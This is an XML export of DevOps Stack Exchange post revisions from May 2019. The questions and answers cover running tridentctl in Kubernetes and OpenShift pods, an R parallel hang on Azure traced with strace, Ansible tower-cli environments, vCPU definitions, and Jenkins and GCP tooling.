  <row Id="24010" PostHistoryTypeId="5" PostId="8245" RevisionGUID="782cb272-595c-4cf3-ac31-89499ca7cdef" CreationDate="2019-05-28T14:41:26.343" UserId="6619" Comment="added 764 characters in body" Text="There's apparently 2 methods one can use to leverage `tridentctl` to interact with a running Trident Pod in their Openshift/Kubernetes cluster.&#xD;&#xA;&#xD;&#xA;### 1. Server string&#xD;&#xA;The `tridentctl` CLI can be instructed to talk to whatever server you want remotely using the `-s` or `--server` argument. In this context you could use the approach of remote shelling into the Trident Pod and then directing it to interact with the local Trident Orchestrator daemon.&#xD;&#xA;&#xD;&#xA;#### ***For example***&#xD;&#xA;&#xD;&#xA;    $ oc -n trident rsh trident-6bdbdbc5dd-l8qtr&#xD;&#xA;    Defaulting container name to trident-main.&#xD;&#xA;    Use 'oc describe pod/trident-6bdbdbc5dd-l8qtr -n trident' to see all of the containers in this pod.&#xD;&#xA;    / #&#xD;&#xA;&#xD;&#xA;Now to interact:&#xD;&#xA;&#xD;&#xA;    / # tridentctl -s 127.0.0.1:8000 get backend&#xD;&#xA;    +--------------------------+----------------+--------+---------+&#xD;&#xA;    |           NAME           | STORAGE DRIVER | ONLINE | VOLUMES |&#xD;&#xA;    +--------------------------+----------------+--------+---------+&#xD;&#xA;    | ontapnas_192.168.101.101 | ontap-nas      | true   |     389 |&#xD;&#xA;    +--------------------------+----------------+--------+---------+&#xD;&#xA;    / #&#xD;&#xA;&#xD;&#xA;### 2. Creating a Bash Function&#xD;&#xA;To expand on the above method, one could construct a shell function or alias in Bash to streamline this interaction like so:&#xD;&#xA;&#xD;&#xA;#### *Openshift*&#xD;&#xA;    tridentctl () {&#xD;&#xA;        oc rsh -t -n trident \&#xD;&#xA;            $(oc get pods -n trident -l app=trident.netapp.io -o jsonpath=&quot;{.items[].metadata.name}&quot;) \&#xD;&#xA;            -c trident-main -- tridentctl -s 127.0.0.1:8000 $*&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;#### *Kubernetes*&#xD;&#xA;    tridentctl () {&#xD;&#xA;        kubectl exec -t -n trident \&#xD;&#xA;            $(kubectl get pods -n trident -l app=trident.netapp.io -o jsonpath=&quot;{.items[].metadata.name}&quot;) \&#xD;&#xA;            -c trident-main -- tridentctl -s 127.0.0.1:8000 $*&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;With one of these functions set, you could then run the following command from your macOS system:&#xD;&#xA;&#xD;&#xA;    $ tridentctl get storageclass -o json&#xD;&#xA;    {&#xD;&#xA;      &quot;items&quot;: [&#xD;&#xA;        {&#xD;&#xA;          &quot;Config&quot;: {&#xD;&#xA;            &quot;version&quot;: &quot;1&quot;,&#xD;&#xA;            &quot;name&quot;: &quot;basic&quot;,&#xD;&#xA;            &quot;attributes&quot;: {&#xD;&#xA;              &quot;backendType&quot;: &quot;ontap-nas&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;storagePools&quot;: null,&#xD;&#xA;            &quot;additionalStoragePools&quot;: null&#xD;&#xA;          },&#xD;&#xA;          &quot;storage&quot;: {&#xD;&#xA;            &quot;ontapnas_192.168.101.101&quot;: [&#xD;&#xA;              &quot;NA_01_aggr1&quot;,&#xD;&#xA;              &quot;NA_01_aggr2&quot;&#xD;&#xA;            ]&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;#### ***How it works***&#xD;&#xA;The above function merely determines the name of the Pod within the `trident` namespace and then remotely executes the command `tridentctl` using the same method above (from method #1) of connecting to the locally running Trident Orchestrator daemon within the Pod using the `--server` string.&#xD;&#xA;&#xD;&#xA;The advantage with one of these approaches is that you simply can use a function/alias to codify it.&#xD;&#xA;&#xD;&#xA;#### ***Caveats***&#xD;&#xA;Keep in mind that with the above shell function/alias approach will not work with commands such as this:&#xD;&#xA;&#xD;&#xA;    $ tridentctl create backend -f &lt;backend-file&gt;&#xD;&#xA;&#xD;&#xA;because the files you'll be referencing with it, `-f &lt;backend-file&gt;`, will be local to the system where you'll be running the function/alias, but the `tridentctl` command will actually be executing within a Pod on another system. This Pod will not have access to your local system's filesystem.&#xD;&#xA;&#xD;&#xA;Your only options in this situation will be to either copy the file into the Pod's `/tmp` filesystem and execute it from there or to redirect the contents of the file, `&lt;backend-file&gt;` through a pipe, (`|`), for example:&#xD;&#xA;&#xD;&#xA;    $ cat &lt;backend-file&gt; | tridentctl create backend -f -" ContentLicense="CC BY-SA 4.0" />
  <row Id="24011" PostHistoryTypeId="5" PostId="8064" RevisionGUID="43af4c36-6d22-4a8f-a3ea-956dddaaf560" CreationDate="2019-05-28T16:48:46.520" UserId="14747" Comment="added 17 characters in body" Text="I am writing [an R package](https://github.com/alan-turing-institute/PosteriorBootstrap/) with tests using the `testthat` package. The tests pass locally and on Travis.&#xD;&#xA;&#xD;&#xA;I want to plot the benefit of parallelisation on up to 24 cores, so I set up a virtual machine programmatically on Azure:&#xD;&#xA;&#xD;&#xA;    az vm create \&#xD;&#xA;       --resource-group rgName \&#xD;&#xA;       --name test \&#xD;&#xA;       --image microsoft-dsvm:linux-data-science-vm-ubuntu:linuxdsvmubuntu:18.12.01 \&#xD;&#xA;       --size Standard_NV24 \&#xD;&#xA;       --admin-username azureuser \&#xD;&#xA;        --generate-ssh-keys&#xD;&#xA;&#xD;&#xA;I call `devtools::test()` and the virtual machine gets stuck at `testthat` for hours with 0% CPU usage:&#xD;&#xA;&#xD;&#xA;    ✔  checking for unstated dependencies in ‘tests’ ...&#xD;&#xA;    ─  checking tests ...&#xD;&#xA;       Running ‘testthat.R’&#xD;&#xA;&#xD;&#xA;`devtools::test()` has no specific arguments to print some output, and it calls `testthat::test_dir()`, which also has no arguments to print output.&#xD;&#xA;&#xD;&#xA;When I remove the tests, the code stalls in a function call. I stopped and relaunched multiple times, so I think it's a problem with Azure.&#xD;&#xA;&#xD;&#xA;Other sizes of machines, `Standard_F16s_v2` and `Standard DS3 v2`, have the same problem.&#xD;&#xA;&#xD;&#xA;How can I fix it?&#xD;&#xA;&#xD;&#xA;## Update&#xD;&#xA;&#xD;&#xA;I stumbled upon the culprit when I was running another piece of code. The VM hangs when calling the R `parallel` package on multiple cores (it works fine on just one core).&#xD;&#xA;&#xD;&#xA;I added some printouts around that call:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[1] &quot;num_cores = 2&quot;&#xD;&#xA;[1] &quot;Entering parallel&quot;&#xD;&#xA;[1] &quot;Drawing 1&quot;&#xD;&#xA;[1] &quot;Drawing 2&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;and then it hangs. Following the suggestion of `strace`, I launched again and see this output around this last printout:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[pid  8571] 21:41:48.718625 write(1, &quot;\n&quot;, 1[1] &quot;num_cores = 2&quot;&#xD;&#xA;) = 1&#xD;&#xA;[pid  8571] 21:41:48.719486 write(1, &quot;[1]&quot;, 3) = 3&#xD;&#xA;[pid  8571] 21:41:48.719550 write(1, &quot; \&quot;num_cores = 2\&quot;&quot;, 16) = 16&#xD;&#xA;[pid  8571] 21:41:48.719615 write(1, &quot;\n&quot;, 1) = 1&#xD;&#xA;[pid  8703] 21:41:48.730707 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4032, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8705] 21:41:48.730745 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4032, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8701] 21:41:48.730757 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4032, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8704] 21:41:48.730794 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4032, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8702] 21:41:48.730841 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4032, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8700] 21:41:48.730852 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4032, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8706] 21:41:48.731199 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4032, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8571] 21:41:48.742710 futex(0x498fcf4, FUTEX_WAKE_PRIVATE, 2147483647) = 7&#xD;&#xA;[pid  8706] 21:41:48.742831 &lt;... futex resumed&gt; ) = 0&#xD;&#xA;[pid  8705] 21:41:48.742847 &lt;... futex resumed&gt; ) = 0&#xD;&#xA;[pid  8704] 21:41:48.742858 &lt;... futex resumed&gt; ) = 0&#xD;&#xA;[pid  8703] 21:41:48.742868 &lt;... futex resumed&gt; ) = 0&#xD;&#xA;[pid  8702] 21:41:48.742878 &lt;... futex resumed&gt; ) = 0&#xD;&#xA;[pid  8701] 21:41:48.742888 &lt;... futex resumed&gt; ) = 0&#xD;&#xA;[pid  8700] 21:41:48.742899 &lt;... futex resumed&gt; ) = 0&#xD;&#xA;[pid  8700] 21:41:48.742931 futex(0x87da514, FUTEX_WAKE_PRIVATE, 2147483647) = 0&#xD;&#xA;[1] &quot;Entering parallel&quot;&#xD;&#xA;[pid  8700] 21:41:48.743001 futex(0x87da514, FUTEX_WAKE_PRIVATE, 2147483647) = 0&#xD;&#xA;[pid  8571] 21:41:48.743411 write(1, &quot;[1]&quot;, 3) = 3&#xD;&#xA;[pid  8571] 21:41:48.743485 write(1, &quot; \&quot;Entering parallel\&quot;&quot;, 20) = 20&#xD;&#xA;[pid  8571] 21:41:48.743545 write(1, &quot;\n&quot;, 1) = 1&#xD;&#xA;[pid  8571] 21:41:48.743946 pipe([4, 11]) = 0&#xD;&#xA;[pid  8571] 21:41:48.744019 pipe([12, 13]) = 0&#xD;&#xA;[pid  8571] 21:41:48.744096 rt_sigaction(SIGCHLD, {0x7fdc52d45d40, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x7fdc693d1390}, NULL, 8) = 0&#xD;&#xA;[pid  8571] 21:41:48.744160 clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7fdc6f002a90) = 8708&#xD;&#xA;strace: Process 8708 attached&#xD;&#xA;[pid  8708] 21:41:48.746022 set_robust_list(0x7fdc6f002aa0, 24) = 0&#xD;&#xA;[pid  8571] 21:41:48.746478 close(11)   = 0&#xD;&#xA;[pid  8708] 21:41:48.746529 rt_sigaction(SIGCHLD, {SIG_DFL, [CHLD], SA_RESTORER|SA_RESTART, 0x7fdc6902b4b0},  &lt;unfinished ...&gt;&#xD;&#xA;[pid  8571] 21:41:48.746549 close(12 &lt;unfinished ...&gt;&#xD;&#xA;[pid  8708] 21:41:48.746559 &lt;... rt_sigaction resumed&gt; {0x7fdc52d45d40, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x7fdc693d1390}, 8) = 0&#xD;&#xA;[pid  8571] 21:41:48.746571 &lt;... close resumed&gt; ) = 0&#xD;&#xA;[pid  8708] 21:41:48.746581 close(4)    = 0&#xD;&#xA;[pid  8708] 21:41:48.746643 dup2(12, 0) = 0&#xD;&#xA;[pid  8708] 21:41:48.746704 close(12)   = 0&#xD;&#xA;[pid  8708] 21:41:48.746764 rt_sigaction(SIGUSR1, {0x7fdc52d45a90, [USR1], SA_RESTORER|SA_RESTART, 0x7fdc6902b4b0}, {0x7fdc6ce94550, [USR1], SA_RESTORER|SA_RESTART, 0x7fdc6902b4b0}, 8) = 0&#xD;&#xA;[pid  8571] 21:41:48.748205 pipe([11, 12]) = 0&#xD;&#xA;[pid  8571] 21:41:48.748280 pipe([14, 15]) = 0&#xD;&#xA;[pid  8571] 21:41:48.748350 rt_sigaction(SIGCHLD, {0x7fdc52d45d40, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x7fdc693d1390}, NULL, 8) = 0&#xD;&#xA;[pid  8571] 21:41:48.748410 clone([1] &quot;Drawing 1&quot;&#xD;&#xA; &lt;unfinished ...&gt;&#xD;&#xA;[pid  8708] 21:41:48.749158 write(1, &quot;[1]&quot;, 3) = 3&#xD;&#xA;[pid  8708] 21:41:48.749242 write(1, &quot; \&quot;Drawing 1\&quot;&quot;, 12) = 12&#xD;&#xA;[pid  8708] 21:41:48.749300 write(1, &quot;\n&quot;, 1) = 1&#xD;&#xA;[pid  8571] 21:41:48.750225 &lt;... clone resumed&gt; child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7fdc6f002a90) = 8709&#xD;&#xA;strace: Process 8709 attached&#xD;&#xA;[pid  8709] 21:41:48.750313 set_robust_list(0x7fdc6f002aa0, 24) = 0&#xD;&#xA;[pid  8571] 21:41:48.750630 close(12)   = 0&#xD;&#xA;[pid  8571] 21:41:48.750695 close(14)   = 0&#xD;&#xA;[pid  8709] 21:41:48.750829 rt_sigaction(SIGCHLD, {SIG_DFL, [CHLD], SA_RESTORER|SA_RESTART, 0x7fdc6902b4b0}, {0x7fdc52d45d40, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x7fdc693d1390}, 8) = 0&#xD;&#xA;[pid  8709] 21:41:48.750908 close(11)   = 0&#xD;&#xA;[pid  8709] 21:41:48.750976 dup2(14, 0) = 0&#xD;&#xA;[pid  8709] 21:41:48.751050 close(14)   = 0&#xD;&#xA;[pid  8709] 21:41:48.751119 rt_sigaction(SIGUSR1, {0x7fdc52d45a90, [USR1], SA_RESTORER|SA_RESTART, 0x7fdc6902b4b0}, {0x7fdc6ce94550, [USR1], SA_RESTORER|SA_RESTART, 0x7fdc6902b4b0}, 8) = 0&#xD;&#xA;[1] &quot;Drawing 2&quot;&#xD;&#xA;[pid  8571] 21:41:48.752325 wait4(-1, 0x7ffd95fddc44, WNOHANG, NULL) = 0&#xD;&#xA;[pid  8571] 21:41:48.752392 select(12, [4 11], NULL, NULL, {1, 0} &lt;unfinished ...&gt;&#xD;&#xA;[pid  8709] 21:41:48.753053 write(1, &quot;[1]&quot;, 3) = 3&#xD;&#xA;[pid  8709] 21:41:48.753138 write(1, &quot; \&quot;Drawing 2\&quot;&quot;, 12) = 12&#xD;&#xA;[pid  8709] 21:41:48.753202 write(1, &quot;\n&quot;, 1) = 1&#xD;&#xA;[pid  8708] 21:41:48.755113 futex(0x498fcf4, FUTEX_WAKE_PRIVATE, 2147483647) = 0&#xD;&#xA;[pid  8704] 21:41:48.756406 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4040, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8703] 21:41:48.756424 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4040, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8701] 21:41:48.756557 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4040, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8702] 21:41:48.756625 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4040, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8705] 21:41:48.756769 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4040, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8700] 21:41:48.757066 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4040, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8706] 21:41:48.757184 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4040, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8709] 21:41:48.758569 futex(0x498fcf4, FUTEX_WAKE_PRIVATE, 2147483647) = 0&#xD;&#xA;[pid  8708] 21:41:48.768419 futex(0x88b9a04, FUTEX_WAIT_PRIVATE, 0, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8709] 21:41:48.772260 futex(0x88b9a04, FUTEX_WAIT_PRIVATE, 0, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8602] 21:41:48.993871 &lt;... futex resumed&gt; ) = -1 ETIMEDOUT (Connection timed out)&#xD;&#xA;[pid  8602] 21:41:48.993914 clock_gettime(CLOCK_REALTIME, {1558734108, 993928682}) = 0&#xD;&#xA;[pid  8602] 21:41:48.993978 futex(0x10e40a8, FUTEX_WAKE_PRIVATE, 1) = 0&#xD;&#xA;[pid  8602] 21:41:48.994032 clock_gettime(CLOCK_REALTIME, {1558734108, 994048584}) = 0&#xD;&#xA;[pid  8602] 21:41:48.994096 futex(0x10e40dc, FUTEX_WAIT_BITSET_PRIVATE|FUTEX_CLOCK_REALTIME, 25, {1558734109, 994048584}, ffffffff &lt;unfinished ...&gt;&#xD;&#xA;[pid  8571] 21:41:49.753515 &lt;... select resumed&gt; ) = 0 (Timeout)&#xD;&#xA;[pid  8571] 21:41:49.753623 wait4(-1, 0x7ffd95fddc44, WNOHANG, NULL) = 0&#xD;&#xA;[pid  8571] 21:41:49.753688 select(12, [4 11], NULL, NULL, {1, 0} &lt;unfinished ...&gt;&#xD;&#xA;[pid  8602] 21:41:49.994210 &lt;... futex resumed&gt; ) = -1 ETIMEDOUT (Connection timed out)&#xD;&#xA;[pid  8602] 21:41:49.994299 clock_gettime(CLOCK_REALTIME, {1558734109, 994341104}) = 0&#xD;&#xA;[pid  8602] 21:41:49.994442 futex(0x10e40a8, FUTEX_WAKE_PRIVATE, 1) = 0&#xD;&#xA;[pid  8602] 21:41:49.994590 clock_gettime(CLOCK_REALTIME, {1558734109, 994614207}) = 0&#xD;&#xA;[pid  8602] 21:41:49.994663 futex(0x10e40dc, FUTEX_WAIT_BITSET_PRIVATE|FUTEX_CLOCK_REALTIME, 27, {1558734110, 994614207}, ffffffff &lt;unfinished ...&gt;&#xD;&#xA;[pid  8571] 21:41:50.754833 &lt;... select resumed&gt; ) = 0 (Timeout)&#xD;&#xA;[pid  8571] 21:41:50.754971 wait4(-1, 0x7ffd95fddc44, WNOHANG, NULL) = 0&#xD;&#xA;[pid  8571] 21:41:50.755117 select(12, [4 11], NULL, NULL, {1, 0} &lt;unfinished ...&gt;&#xD;&#xA;[pid  8602] 21:41:50.994707 &lt;... futex resumed&gt; ) = -1 ETIMEDOUT (Connection timed out)&#xD;&#xA;[pid  8602] 21:41:50.994748 clock_gettime(CLOCK_REALTIME, {1558734110, 994763726}) = 0&#xD;&#xA;[pid  8602] 21:41:50.994816 futex(0x10e40a8, FUTEX_WAKE_PRIVATE, 1) = 0&#xD;&#xA;[pid  8602] 21:41:50.994879 clock_gettime(CLOCK_REALTIME, {1558734110, 994894827}) = 0&#xD;&#xA;[pid  8602] 21:41:50.994944 futex(0x10e40dc, FUTEX_WAIT_BITSET_PRIVATE|FUTEX_CLOCK_REALTIME, 29, {1558734111, 994894827}, ffffffff &lt;unfinished ...&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The rest of the log is a repetition of the last few lines.&#xD;&#xA;&#xD;&#xA;I think that the parent process is 8571, the first spawned process is 8708, which prints `Drawing 1`, and the second spawned process is 8709, which prints `Drawing 2`. Then the parent process lists a `wait4(-1, 0x7ffd95fddc44, WNOHANG, NULL) = 0`, process 8602 lists a `&lt;... futex resumed&gt; ) = -1 ETIMEDOUT (Connection timed out)`. I have never used `strace` and could not go beyond that.&#xD;&#xA;&#xD;&#xA;I have pushed the code to [this Github branch](https://github.com/alan-turing-institute/PosteriorBootstrap/tree/62-fix-azure), commit 1b3d1f6, if you want to reproduce the problem. Pull the code from the branch, and run `azure-parallel/deploy_azure.sh` on a terminal (if you have the [Azure Command-Line-Interface](https://docs.microsoft.com/en-us/cli/azure/install-azure-cli-macos?view=azure-cli-latest) and are logged in), or change the code a bit to use the IP address of a existing virtual machine.&#xD;&#xA;&#xD;&#xA;Has anyone succeeded in running parallel on Azure recently? If so, what were the virtual machine and image?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24012" PostHistoryTypeId="2" PostId="8247" RevisionGUID="99ade02a-efc3-45bc-abdb-9ea8b2c15cb4" CreationDate="2019-05-28T17:25:26.940" UserId="15176" Text="I am running a version of Azure DevOps and would like to track adoption.&#xD;&#xA;&#xD;&#xA;Is it possible to get the number of unique visitors who have logged in / used Azure DevOps in the last 30 days, for instance?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24013" PostHistoryTypeId="1" PostId="8247" RevisionGUID="99ade02a-efc3-45bc-abdb-9ea8b2c15cb4" CreationDate="2019-05-28T17:25:26.940" UserId="15176" Text="Azure DevOps extract unique visitors" ContentLicense="CC BY-SA 4.0" />
  <row Id="24014" PostHistoryTypeId="3" PostId="8247" RevisionGUID="99ade02a-efc3-45bc-abdb-9ea8b2c15cb4" CreationDate="2019-05-28T17:25:26.940" UserId="15176" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24015" PostHistoryTypeId="2" PostId="8248" RevisionGUID="6f298e08-3ed3-4134-a1f2-12263fef0299" CreationDate="2019-05-28T21:39:19.423" UserId="13111" Text="Following your comment confirming you can use your own signed certificates internally.&#xD;&#xA;&#xD;&#xA;One solution would be to replace the current certificate on your repo with a new one holding `updates.jenkins-ci.org` as an alias. [This response on stackoverflow](https://stackoverflow.com/questions/10175812/how-to-create-a-self-signed-certificate-with-openssl/27931596#27931596) has the necessary info to get you going.&#xD;&#xA;&#xD;&#xA;Meanwhile, the [plugin higlighted above by @casey vega in the comments](https://wiki.jenkins.io/display/JENKINS/UpdateSites+Manager+plugin) (which I didn't know) seems to be a solution much easier to manage." ContentLicense="CC BY-SA 4.0" />
  <row Id="24016" PostHistoryTypeId="5" PostId="8234" RevisionGUID="25f541fa-d61f-4939-b8c3-e37eb034c34f" CreationDate="2019-05-28T22:59:04.350" UserId="1132" Comment="added 234 characters in body" Text="An object-oriented programming language compiled in machine-independent byte-code, what is executed by Java Virtual Machines (JVM). Widely used both in software projects and in CI/DevOps tools. Java questions should be devops-related." ContentLicense="CC BY-SA 4.0" />
  <row Id="24017" PostHistoryTypeId="24" PostId="8234" RevisionGUID="25f541fa-d61f-4939-b8c3-e37eb034c34f" CreationDate="2019-05-28T22:59:04.350" Comment="Proposed by 1132 approved by 40, 228 edit id of 1009" ContentLicense="CC BY-SA 4.0" />
  <row Id="24018" PostHistoryTypeId="5" PostId="4226" RevisionGUID="370e14da-c83b-48b7-9c1a-b71fdbf87c8e" CreationDate="2019-05-28T22:59:29.613" UserId="15130" Comment="which tower-cli doesn't show which python it's using. The path for my machine is just /usr/local/bin so that doesn't provide any clues on python version." Text="Found the origin of the issue, and unless someone else had run into it they wouldn't have known where to look --&#xD;&#xA;&#xD;&#xA;check details of `tower-cli --version` and `ansible --version`, as well as `which tower-cli` `which ansible`;  in my case were installed in *different* python environments:&#xD;&#xA;&#xD;&#xA;&gt; /usr/lib/python**2.6**/site-packages/ansible&#xD;&#xA;&#xD;&#xA;&gt; /usr/lib/python**3.4**/site-packages/tower_cli&#xD;&#xA;&#xD;&#xA;If you cannot see the python version using the above for tower-cli, you can run:&#xD;&#xA;&#xD;&#xA;    $ head -n1 `which tower-cli`&#xD;&#xA;    #!/usr/local/opt/python/bin/python3.7&#xD;&#xA;    $ &#xD;&#xA;&#xD;&#xA;The ansible modules couldn't see the tower_cli python modules as they were in a different python environment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;After-the-fact problem origin:  I had installed **`ansible` via `yum`** (package manager), and **`ansible-tower-cli` via `pip`** (python installer).  Being consistent in how you install both to make sure they go to the same environment resolves the issue.&#xD;&#xA;&#xD;&#xA;_Centos/RHEL_: `yum install ansible ansible-tower-cli`&#xD;&#xA;&#xD;&#xA;-OR-&#xD;&#xA;&#xD;&#xA;_Python_:  `pip install ansible`&#xD;&#xA;&#xD;&#xA;_Python_:  `pip install ansible-tower-cli`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24019" PostHistoryTypeId="24" PostId="4226" RevisionGUID="370e14da-c83b-48b7-9c1a-b71fdbf87c8e" CreationDate="2019-05-28T22:59:29.613" Comment="Proposed by 15130 approved by 40, 228 edit id of 1007" ContentLicense="CC BY-SA 4.0" />
  <row Id="24020" PostHistoryTypeId="5" PostId="1337" RevisionGUID="6c089c4d-8e53-4d87-97df-4931618d2a09" CreationDate="2019-05-29T03:12:48.190" UserId="3001" Comment="added 1 character in body" Text="In order to get a success, you need to avoid non-zero exit codes. A simple solution would be to change the last line of your script to `git commit -a -m 'Changes pushed by Jenkins' || true`, but better solutions would parse the output of git-add and only run git-commit when there is something to commit." ContentLicense="CC BY-SA 4.0" />
  <row Id="24023" PostHistoryTypeId="2" PostId="8249" RevisionGUID="bf53df3a-b9f5-4f42-b437-1d5332cd16cf" CreationDate="2019-05-29T11:46:36.140" UserId="15187" Text="When we are talking about &quot;1 vcpu&quot; in ex.: &#xD;&#xA;&#xD;&#xA; - Azure cloud&#xD;&#xA; - Converged Cloud&#xD;&#xA;&#xD;&#xA;**Q:** What exactly does it mean? &#xD;&#xA;&#xD;&#xA;Ex.: if I will use a 10 vcpu machine on both Cloud solutions for the same cpu intensive process (which only uses CPU) then I would see the same amount of CPU load on them? Would they finish at the same time regarding the same only-CPU-usage task? &#xD;&#xA;&#xD;&#xA;Or the definition of vcpu could differ in the different cloud solution? If yes, are there any measurement solutions for it on ex.: SLES12 machines? " ContentLicense="CC BY-SA 4.0" />
  <row Id="24024" PostHistoryTypeId="1" PostId="8249" RevisionGUID="bf53df3a-b9f5-4f42-b437-1d5332cd16cf" CreationDate="2019-05-29T11:46:36.140" UserId="15187" Text="What does 1 vcpu mean exactly?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24025" PostHistoryTypeId="3" PostId="8249" RevisionGUID="bf53df3a-b9f5-4f42-b437-1d5332cd16cf" CreationDate="2019-05-29T11:46:36.140" UserId="15187" Text="&lt;azure&gt;&lt;cloud&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24029" PostHistoryTypeId="2" PostId="8251" RevisionGUID="0ec2eec0-630a-4495-a0bc-bf8fc6aeed17" CreationDate="2019-05-29T12:19:25.750" UserId="13" Text="vcpu = Virtual CPU, that's just the number of core of the instance. Nothing more, nothing less.&#xD;&#xA;&#xD;&#xA;For the rest of your questions they're unrelated, this depends on the underlying hypervisor's physical processors, there's no guarantee they use the same type with same frequency." ContentLicense="CC BY-SA 4.0" />
  <row Id="24032" PostHistoryTypeId="2" PostId="8252" RevisionGUID="2aa53b14-5f02-4e69-b2d6-d8ef9f95ed91" CreationDate="2019-05-29T12:23:43.857" UserId="15189" Text="I'm currently working on testing Ansible roles with Molecule. I have one role with 2 scenarios that are executed in Jenkins but just before that, those are submitted to a SonarQube analysis. So I installed the YAML plugin for it to recognize the files, but now, I am asked to add code coverage to these reports.&#xD;&#xA;&#xD;&#xA;I'm wondering if there's a way of having code coverage using Molecule with its default stack (Docker/Testinfra)? " ContentLicense="CC BY-SA 4.0" />
  <row Id="24033" PostHistoryTypeId="1" PostId="8252" RevisionGUID="2aa53b14-5f02-4e69-b2d6-d8ef9f95ed91" CreationDate="2019-05-29T12:23:43.857" UserId="15189" Text="Is there any way of getting code coverage with molecule?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24034" PostHistoryTypeId="3" PostId="8252" RevisionGUID="2aa53b14-5f02-4e69-b2d6-d8ef9f95ed91" CreationDate="2019-05-29T12:23:43.857" UserId="15189" Text="&lt;ansible&gt;&lt;code-coverage&gt;&lt;sonarqube&gt;&lt;molecule&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24035" PostHistoryTypeId="2" PostId="8253" RevisionGUID="db17fb65-02fc-4e16-8401-8a71d01e0c0a" CreationDate="2019-05-29T12:30:48.387" UserId="210" Text="I use artifactory and nexus, but I wonder what artifact manager could be used in GCP? Is there a managed artifact manager or do I have to run one myself in a VM?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24036" PostHistoryTypeId="1" PostId="8253" RevisionGUID="db17fb65-02fc-4e16-8401-8a71d01e0c0a" CreationDate="2019-05-29T12:30:48.387" UserId="210" Text="What artifact managers are available in GCP?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24037" PostHistoryTypeId="3" PostId="8253" RevisionGUID="db17fb65-02fc-4e16-8401-8a71d01e0c0a" CreationDate="2019-05-29T12:30:48.387" UserId="210" Text="&lt;artifactory&gt;&lt;virtualization&gt;&lt;gcp&gt;&lt;nexus&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24038" PostHistoryTypeId="2" PostId="8254" RevisionGUID="0b884ccd-1b77-40c1-86a0-8598a0331b67" CreationDate="2019-05-29T13:15:33.730" UserId="15190" Text="I need to know how to write a Jenkins job which polls a GitHub repository continuously and send an email of commits made to that repo." ContentLicense="CC BY-SA 4.0" />
  <row Id="24039" PostHistoryTypeId="1" PostId="8254" RevisionGUID="0b884ccd-1b77-40c1-86a0-8598a0331b67" CreationDate="2019-05-29T13:15:33.730" UserId="15190" Text="How to keep polling GitHub repository and get commits by it's messages on a regular interval using Jenkins?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24040" PostHistoryTypeId="3" PostId="8254" RevisionGUID="0b884ccd-1b77-40c1-86a0-8598a0331b67" CreationDate="2019-05-29T13:15:33.730" UserId="15190" Text="&lt;jenkins&gt;&lt;github&gt;" ContentLicense="CC BY-SA 4.0" />
